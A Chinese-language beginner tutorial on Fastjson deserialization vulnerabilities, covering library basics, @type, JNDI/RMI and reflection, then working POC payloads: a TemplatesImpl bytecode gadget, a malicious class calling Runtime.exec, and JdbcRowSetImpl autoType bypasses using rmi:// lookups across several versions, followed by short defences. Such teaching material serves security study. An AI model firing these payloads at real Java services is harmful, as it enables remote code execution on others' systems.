完全零基础入门Fastjson系列漏洞(基础篇)
字数 1024 2025-08-23 18:31:34
Fastjson反序列化漏洞完全指南(基础篇)
一、Fastjson基础
1. Fastjson简介
Fastjson是阿里巴巴开源的高性能JSON处理库,主要用于Java对象与JSON字符串之间的相互转换。
2. 基本用法
序列化示例
Person person = new Person("Alice", 18);
String jsonString = JSON.toJSONString(person);
System.out.println(jsonString); // 输出: {"age":18,"name":"Alice"}
反序列化示例
String jsonString2 = "{\"age\":20,\"name\":\"Bob\"}";
Person person2 = JSON.parseObject(jsonString2, Person.class);
System.out.println(person2.getName() + ", " + person2.getAge());
3. 高级特性
字段映射
@JSONField(name = "user_name")
private String name;
@JSONField(name = "user_age")
private int age;
序列化顺序控制
@JSONType(orders = {"name", "age"})
public static class Person {
private String name;
private int age;
// ...
}
二、关键概念
1. @type特性
@type是Fastjson的特殊注解,用于指定反序列化时的目标类:
{
"@type": "java.lang.Runtime",
// ...
}
2. JNDI基础
JNDI(Java Naming and Directory Interface)提供统一的资源访问方式,常用于:
- 查找JDBC数据源
- 访问LDAP目录服务
- 获取JMS连接工厂
3. RMI基础
RMI(Remote Method Invocation)实现Java虚拟机间的远程方法调用:
// 服务端
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("Calculator", new Server());
// 客户端
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
Calculator calc = (Calculator) registry.lookup("Calculator");
int result = calc.add(5, 7);
4. Java反射
反射机制允许程序在运行时访问和修改类、方法和字段:
Class<?> clazz = Class.forName("org.example.Person");
Constructor<?> constructor = clazz.getConstructor(String.class, int.class);
Object person = constructor.newInstance("张三", 20);
Method method = clazz.getMethod("sayHello");
method.invoke(person);
三、Fastjson反序列化漏洞
1. Fastjson<=1.2.24漏洞(CVE-2017-18349)
漏洞原理
利用TemplatesImpl链,通过_bytecodes加载恶意类
利用链
TemplatesImpl#newTransformer()
→ TemplatesImpl#getTransletInstance()
→ TemplatesImpl#defineTransletClasses()
→ TransletClassLoader#defineClass()
POC
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["恶意类字节码base64"],
"_name": "W01fh4cker",
"_tfactory": {},
"_outputProperties": {}
}
恶意类示例
public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
}
// 必须实现的两个方法
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
}
2. Fastjson 1.2.25漏洞
黑白名单机制
1.2.25版本引入了黑白名单机制,默认禁用autoType
绕过方式1(1.2.25-1.2.47通杀)
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1/exp",
"autoCommit": true
}
}
绕过方式2(特殊字符绕过)
{
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "rmi://127.0.0.1/exp",
"autoCommit": true
}
JdbcRowSetImpl利用链
setAutoCommit() → connect() → lookup()
3. Fastjson 1.2.42漏洞
绕过方式
双写L和;:
{
"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName": "rmi://127.0.0.1/exp",
"autoCommit": true
}
4. Fastjson 1.2.43漏洞
绕过方式
使用[代替L:
{
"@type": "[com.sun.rowset.JdbcRowSetImpl"[,
"dataSourceName": "rmi://127.0.0.1/exp",
"autoCommit": true
}
5. Fastjson 1.2.44/1.2.47漏洞
漏洞原理
利用mappings缓存绕过checkAutoType
POC
同1.2.25的第一个绕过方式
6. Fastjson 1.2.68漏洞
新特性
- 默认关闭缓存
- 新增safeMode模式
绕过方式
利用expectClass机制绕过
四、防御措施
- 升级到最新安全版本
- 开启safeMode模式
- 严格限制反序列化的类
- 使用白名单机制
五、参考资源
- Fastjson官方文档
- 先知社区相关技术文章
- Java安全相关技术博客
- CVE漏洞数据库
这份文档涵盖了Fastjson反序列化漏洞的基础知识、历史漏洞原理和利用方式,以及防御措施。对于更深入的研究,建议参考文中提到的具体技术文章和官方文档。